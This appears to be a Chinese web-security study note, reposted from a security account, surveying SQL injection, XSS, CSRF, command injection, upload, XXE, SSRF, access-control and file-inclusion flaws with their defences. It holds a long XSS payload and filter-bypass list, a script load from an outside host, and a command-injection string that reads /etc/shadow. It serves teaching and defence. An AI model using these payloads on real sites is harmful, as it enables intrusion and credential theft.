sql注入
就是服务端没有对客户端的输入信息做过滤,并且信息被带入了数据库查询。SQL注入攻击通过构造特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,对数据库进行任意操作。总的来说就是对用户端输入过滤不严格;并且可以带入数据库查询。
问题判断:
1.判断是否存在SQL注入,是否报错数字型:当输入 and 1=1时,后台执行Sql 语句:select * from <表名>where id = x and1=1没有语法错误且逻辑判断为正确,所以返回正常。当输入 and 1=2时,后台执行Sql 语句:select * from <表名>where id = x and1=2没有语法错误但是逻辑判断为假,所以返回错误字符型:select * from <表名> where id = 'x and 1=1'Url 地址中输入http://xxx/abc.php?id= x’ and ‘1’=’1页面运行正常,继续进行下一步。Url 地址中继续输入http://xxx/abc.php?id= x’ and ‘1’=’2页面运行错误,则说明此 Sql 注入为字符型注入。
利用:
1.手动测试联合查询
2.采用sqlmap工具
出现位置:
1.URL附带ID参数
2.删除按钮处
3.检测用户是否存在处
4.分页处与日期处
5.登录框处
6.接口处等
成因:
程序开发过程中不注意规范书写sql语句和对特殊字符进行过滤,导致客户端可以通过全局变量POST 和GET 提交一些sql语句正常执行。
防御:
1. 避免字符串组合方式执行SQL
2. 对输入参数的值进行过滤、净化
3. 使用正则表达式过滤传入的参数
危害:
1、未经授权状况下操作数据库中的数据,比如管理员密码,用户密码等信息;
2、恶意篡改网页内容,宣传虚假信息等;
3、私自添加系统帐号或者是数据库使用者帐号;
4、网页挂广告、木马病毒等;
5、上传webshell,进一步得到系统权限,控制电脑.获得肉鸡。
XSS原理:
恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!XSS分为:存储型 、反射型 、DOM型XSS存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(DocumentObjeetModel,DOM)的一种漏洞,DOMXSS是通过url传入参数去控制触发的,其实也属于反射型XSS。可能触发DOM型XSS的属性document.refererwindow.namelocationinnerHTMLdocumen.write出现位置:URL的每一个参数,URL本身,表单,搜索框数据交互的地方:-get post cookies headers-反馈与浏览-富文本编辑器-各类标签插入和自定义数据输出的地方:-用户资料-关键词、标签、说明-文件上传重灾区:评论区、留言区、个人信息、订单信息等针对型:站内信、网页即时通讯、私信、意见反馈存在风险:搜索框、当前目录、图片属性等
利用:
采用XSStrike工具进行检测采用综合扫描工具,进行检测弹窗问题判断:在数据交互的地方
输入什么内容,则我输入的内容被实际展示出来,这样我们才认为没有被XSS注入。
成因:
在HTML中常用到字符实体,将常用到的字符实体没有进行转译,导致完整的标签出现,在可输入的文本框等某些区域内输入特定的某些标签导致代码被恶意篡改。
构造与绕过:构造方式:
1、无过滤,直接写:<script>alert(1)</script>
2、正常截断:"> <script>alert(1)</script>'> <script>alert(1)</script>
3、不用<>尖括号:" onmouseover=alert(1) 空格' onmouseover=alert(1) 空格' onclick=alert(1) 空格" onfocus=alert(1) autofocus="
4、内联框架注入:"><iframe src=javascript:alert(1)>
5、超链接注入:"> <a href="javascript:alert(1)">漏洞</a>
6、alert(1)中的小括号:可用反单引号替代:`;也可以用/
7、当()与反单引号被过滤时,可使用如下:- <iframe srcdoc="<script>parent.alert(1)</script>"- <svg><script>alert(1)</script>
8、存在注释符的话:可用或<!-- --!>绕过
9、str_replace()函数是区分大小写的
10、黑名单的时候可以使用URL编码等进行编码的方式:javascript:alert(1)、javascript:alert'1'
11、可利用注释符(//)与换行/回车(%0a/%0d)绕过各种规定方式(比如必须添加某些参数或者无法输入空格等)
12、外链xss脚本:<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>
13、IMG标签型:<IMG SRC=javascript:alert('XSS')><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))><IMG SRC=java(16进制编码)XSS')>
14、嵌入式标签:<IMG SRC="javascript:alert('XSS');"><IMG SRC="javascript:alert('XSS');">(嵌入式编码标签)<IMG SRC="javascript:alert('XSS');">(嵌入式换行符)(嵌入式回车)
15、双开括号:<<SCRIPT>alert(“XSS”);//<</SCRIPT>
16、BODY图片:<BODYBACKGROUND="javascript:alert('XSS')"
17、IMG Dynsrc:<IMG DYNSRC="javascript:alert('XSS')">IMG Lowsrc:<IMG LOWSRC="javascript:alert('XSS')">
18、DIV background-image:> <DIV STYLE="background-image:url(javascript:alert('XSS'))">
19、javascript链接:<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
20、embed:<embedsrc="javascript:alert(1)">
21、video:<video onerror="alert(1)">
22、在JavaScript中可以进行Unicode转义、十六进制和八进制转义。此外,字符串中的多余转义字符串将被忽略。<script>a \u006cert(1) ;</script><script>eval(‘ a\u006cert(1) ’);</script><script>eval(‘ a\x6cert(1) ’);</script><script>eval(‘ a\154ert(1) ’);</script><script>eval(‘ a\1\ert\(1\) ’);</script>
绕过方式
1.用/代替空格<img/src="x"/onerror=alert("xss");>
2.大小写绕过<ImG sRc=x onerRor=alert("xss");>
3.双写关键字有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过<imimgg srsrcc=x onerror=alert("xss");>
4.字符拼接利用eval<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">利用top<script>top["al"+"ert"](`xss`);</script>
5.Unicode编码绕过<img src="x"onerror="alert("xss4;);"><img src="x"onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
6.url编码绕过<img src="x"onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
7.Ascii<img src="x"onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
8. base64绕过<img src="x"onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
9.过滤双引号,单引号1.如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号<img src="x"onerror=alert(`xss`);>2. 过滤括号当括号被过滤的时候可以使用throw来绕过<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
10.使用url编码<img src="x"onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>防御:过滤一些危险字符,以及转义& < > " ' /等危险字符HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此Cookie。设置CSP(Content Security Policy)
输入内容长度限制
危害:
1、钓鱼欺骗
2、网站挂马
3、身份盗用
4、盗取网站用户信息
5、垃圾信息发送
6、劫持用户Web行为
7、XSS蠕虫
暴力破解原理:
暴力破解或称为穷举法,是一种针对于密码的破译方法,即将密码进行逐个推算直到找出真正的密码为止。例如一个已知是四位并且全部由数字组成的密码,其可能共有10000种组合,因此最多尝试10000次就能找到正确的密码。理论上利用这种方法可以破解任何一种密码,问题只在于如何缩短试误时间。有些人运用计算机来增加效率,有些人辅以字典来缩小密码组合的范围。
出现位置:
无其他验证的位置,多处在登录处
利用:采用BP等工具进行批量破解
防御:
1, 设置安全的验证码
2, 对认证错误设定次数
3, 双因素认证CSRF原理跨站点请求伪造,在受害者毫不知情的情况下以受害者的名义伪造请求发送给受攻击的站点,从而在并未授权的情况下执行在权限保护之下的操作。你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。
利用:
通过HTML标签发送合法的跨域请求通过Ajax发送请求(由于CORS机制的存在,一般不使用)攻击者构造恶意html,通过引诱用户/管理员访问,触发CSRF漏洞。
危害:
篡改目标网站上的用户数据;盗取用户隐私数据;作为其他攻击向量的辅助攻击手法;传播CSRF蠕虫。
防御:
设置和判断cookie时采用hash值认证。尽量采用post类型传参,这就减少了请求被直接伪造的可能。验证HTTP Referer字段在 HTTP 头中自定义属性并验证在请求地址中添加token并验证采用验证码判断,进行防御。
命令注入原理:
Web系统底层去调用系统操作命令,参数接收用户输入,并未过滤用户输入的数据,攻击者可以构造恶意命令或代码形成系统命令执行漏洞利用:攻击者控制命令的组成部分,如参数或指令,通过特制的输入数据影响和控制应用执行相关的命令。127.0.0.1&sudo cat /etc/shadow” (comand1 && comand2:comand1和comand2都会执行,comand1& comand2:comand1执行成功后,comand2才会执行)
危害:
系统提权;读取/操作系统敏感文件防御:采用白名单方式,对一切用户输入进行校验过滤
文件上传原理:
文件上传的功能处,若服务端脚本语言未对上传的文件进行严格的验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务器命令的能力,这就是文件上传漏洞。文件上传漏洞对web应用来说是一种非常严重的漏洞,一般情况下,web应用都会允许用户上传一些文件,如头像、附件等信息,如果web应用没有对用户上传的文件进行有效的检验过滤,那么恶意用户就会上传一句话木马等webshell,从而达到控制web网站的目的。
出现位置:
高危触发点:相册、头像上传;视频,照片分享;附件上传(论坛发帖、邮箱)
文件管理器利用与绕过:
前端验证:
修改前端 javascript文件将限制代码去掉传参过程中抓包修改后缀前端禁用 javascript脚本后端验证:基于 MIME 校验:校验content-type 请求头修改文件后缀基于后缀绕过黑名单验证绕过针对windows 系统绕过:使用其他可执行并且未限制的后缀名大小写混合绕过文件名双写绕过末尾添加 . 绕过末尾添加空格绕过末尾添加::$DATA 绕过00截断上传上传.access 文件条件竞争绕过上传图片马配合文件解析漏洞绕过针对linux
系统绕过:
使用其他可执行并且未限制的后缀名文件名双写绕过00截断上传绕过上传.access 文件条件竞争绕过上传图片马配合文件解析漏洞绕过白名单验证绕过:上传图片马配合文件解析漏洞绕过上传 .access 文件绕过基于文件内容验证:上传图片马配合文件解析漏洞绕过成因:本地文件上传限制被绕过;过滤不严格或被绕过;文件路径截断;开源编辑器上传漏洞;中间件解析漏洞;服务器配置不当-HTTP启用不安全的方法(PUT方法)上传的文件目录,脚本文件可执行;对于web server,上传文件或指定目录的行为没有做限制;防御:文件扩展名服务器端白名单校验判断文件类型(可结合MIME Type,后缀检查等方式)文件内容服务器端检验上传文件重命名隐藏上传文件路径文件上传目录设置为不可执行
任意文件下载原理:
一些网站有提供文件查看或者下载功能,如果这些操作没对用户进行限制,用户就能查看或者下载任意的文件,可以是源代码文件,敏感文件等等。利用:通过web漏洞扫描工具对网站实施扫描可能发现目录遍历或者任意文件下载漏洞,发送一系列”../”字符来遍历高层目录,并且尝试找到系统的配置文件或者系统中存在的敏感文件。也可通过判断网站语言,并根据其url中部分提供的参数,进行构造相关的路径信息,如收集到网站中间件版本为apache,则想办法构造../../../WEBINF/web.xml等,然后查看其是否可被下载出来。随后可构造下载系统文件。防御:过滤.(点)、/(斜杠)正则判断用户输入的参数的格式,看输入的格式是否合法限定文件发个文范围,如php.ini中配置open_basedir不允许提供目录遍历服务。
XXE原理:
XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意的内容,就可以导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。
XML利用:
通常攻击者会将payload注入到XML文件中,一旦文件被执行,将会被读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。换而言之,XXE是一种从本地到达各种服务器的方法。此外,在一定程度上这也可能帮助攻击者绕过防火墙规则或者身份认证检查危害:远程代码执行,读取服务器文件防御:配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己生命的DTD。具体配置方法参考Fortify代码扫描修复指引中XML注入的修复方案
SSRF原理:
SSRF(Server-side Request Forge, 服务端请求伪造)。是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
成因:
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。
出现位置:
分享:通过URL地址分享网页内容转码服务在线翻译图片加载与下载:通过URL地址加载或下载图片图片、文章收藏功能未公开的api实现以及其他调用URL的功能从URL关键字中寻找存在SSRF漏洞中URL地址特征sharewapurllinksrcsourcetargetu3gdisplaysourceURlimageURLdomain验证:因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞。在页面源码中查找访问的资源地址,如果该资源地址类型为www.xxx.com/xxx.php?image=(地址)的就可能存在SSRF漏洞。可以直接右键图片,在新窗口打开图片,如果是浏览器上URL地址栏是http://www.baidu.com/img/bd_logo1.png,说明不存在SSRF漏洞。
利用:
输入A网站URL --> 发送请求 --> A服务器接受请求(没有过滤),并处理 -->返回用户响应【那网站有个请求是www.baidu,com/xxx.php?image=URL】那么产生SSRF漏洞的环节在哪里呢?安全的网站应接收请求后,检测请求的合法性产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据例如:www.baidu.com/xxx.php?image=www.abc.com/1.jpg绕过:常见的过滤:过滤开头不是http://xxx.com的所有链接过滤格式为ip的链接,比如127.0.0.1结尾必须是某个后缀绕过方法:http基础认证http://[email protected]利用302跳转(xip.io,www.tinyrul.com)2.1当我们访问xip.io的子域,比如127.0.0.1.xip.io的时候,实际上会被自动重定向到127.0.0.12.2如果利用上面的方法会被检测127.0.0.1的话,可以利用www.tinyurl.com提供的服务来进行绕过加上#或?即可4.更改其他进制的ip危害:让服务端去访问相应的网址让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})攻击内网应用程序(利用跨协议通信技术)判断内网主机是否存活:方法是访问看是否有端口开放DOS攻击(请求大文件,始终保持连接keep-alive always)防御:过滤返回信息,验证远程服务器对请求的相应,如果 Web 应用获取某种已知类型的文件,那么可以在把返回结果展示给用户之前先验证返回信息是否符合标准统一错误信息,避免用户根据错误信息来判断远程服务器端口状态限制请求的端口为 HTTP 常用端口,比如 80、443、8080、8090黑名单内网 IP,避免应用被用来获取内网数据,攻击内网禁用不需要的协议。仅仅允许 HTTP 和 HTTPS 请求。可以防止类似于file://、gopher://和ftp://等引起的问题禁止302跳转。越权/未授权原理:越权,是超出了权限或权利范围访问系统。多数web应用都具备权限划分和控制,但是如果权限控制功能设计存在缺陷,那么攻击者就可以通过这些缺陷来访问未经授权的功能或数据,这就是我们通常说的越权漏洞。一般将越权分为以下几类:未授权访问:管理地址可以直接访问接口任意调用//RESTful API静态资源文件直接访问(比如直接下载压缩文件,后台生成的统计文件等)水平越权同级别的用户越权访问操作垂直越权普通用户越权执行特权用户的操作成因:通常情况下,一个Web 程序功能流程是登录 - 提交请求 - 验证权限 - 数据库查询 -返回结果。如果验证权限不足,便会导致越权。常见的程序都会认为通过登录后即可验证用户的身份,从而不会做下一步验证,最后导致越权。
1,通过隐藏 URL实现控制访问有些程序的管理员的管理页面只有管理员才显示,普通用户看不到,利用URL 实现访问控制,但 URL 泄露或被恶意攻击者猜到后,这会导致越权攻击。
2,直接对象引用这种通过修改一下参数就可以产生水平越权,例如查看用户信息页面 URL 后加上自己的id 便可查看,当修改为他人的 ID 号时会返回他人的信息,便产生了水平越权。
3,多阶段功能多阶段功能是一个功能有多个阶段的实现。例如修改密码,可能第一步是验证用户身份信息,号码验证码类的。当验证成功后,跳到第二步,输入新密码,很多程序会在这一步不再验证用户身份,导致恶意攻击者抓包直接修改参数值,导致可修改任意用户密码。
4, 静态文件很多网站的下载功能,一些被下载的静态文件,例如 pdf、word、xls 等,可能只有付费用户或会员可下载,但当这些文件的 URL 地址泄露后,导致任何人可下载,如果知道 URL 命名规则,则会便利服务器的收费文档进行批量下载。
5,平台配置错误一些程序会通过控件来限制用户的访问,例如后台地址,普通用户不属于管理员组,则不能访问。但当配置平台或配置控件错误时,就会出现越权访问。利用:越权漏洞的危害与影响主要是与对应的业务的重要性有关,比如说某一页面服务器端响应(不局限于页面返回的信息,有时信息在响应包中,页面不一定能看见)中返回登录名、密码、手机号、身份证等敏感信息,如果存在平行越权,通过对用户ID遍历,就可以查看所有用户的敏感信息,这也是一种变相的脱裤,而且很难被防火墙发现,因为这和正常的访问请求没有什么区别,也不会包含特殊的字符,具有十足的隐蔽性。防御:基础安全架构,完善用户权限体系。要知道哪些数据对于哪些用户,哪些数据不应该由哪些用户操作。鉴权,服务端对请求的数据和当前用户身份做校验;不要直接使用对象的实名或关键字;对于可控参数进行严格的校验与过滤。危害:服务器过分信任用户提交的数据请求并且未对用户权限进行判定,可能导致恶意攻击者拥有其他用户的操作权限,平行越权可导致相同权限的用户之间可以进行增改删查等功能;垂直越权可导致低权限的用户拥有着高权限的执行操作能力;
文件包含原理:
随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。利用:相关函数:include( )当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。include_once( )功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次require( )require()与 include()的区别在于 require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。require_once( )功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次文件包含可以分为本地文件包含和远程文件包含两种。顾名思义,本地文件包含就是通过URL将服务器本地的其他文件include进来。远程文件包含就是将远程服务器的文件include进来,可上传webshell。最主要的是,包含进来的文件都以当前脚本文件解析,比如,当前测试系统是Apache加php环境,那么被include进来的文件,不管是什么类型,比如说图片,文本文档,这些文件被包含以后,都会被当做php脚本来解析。特征:典型特征变量的值为一个页面:?page=a.php?home=b.html?file=content…
防御:
严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:“../”;包含文件验证:验证被包含的文件是否是白名单中的一员;尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php') 。危害:执行任意代码读取文件源码或敏感信息。包含恶意文件控制网站,甚至控制服务器。
注:如有侵权请联系删除
热文推荐
欢迎关注LemonSec
觉得不错点个“赞”、“在看”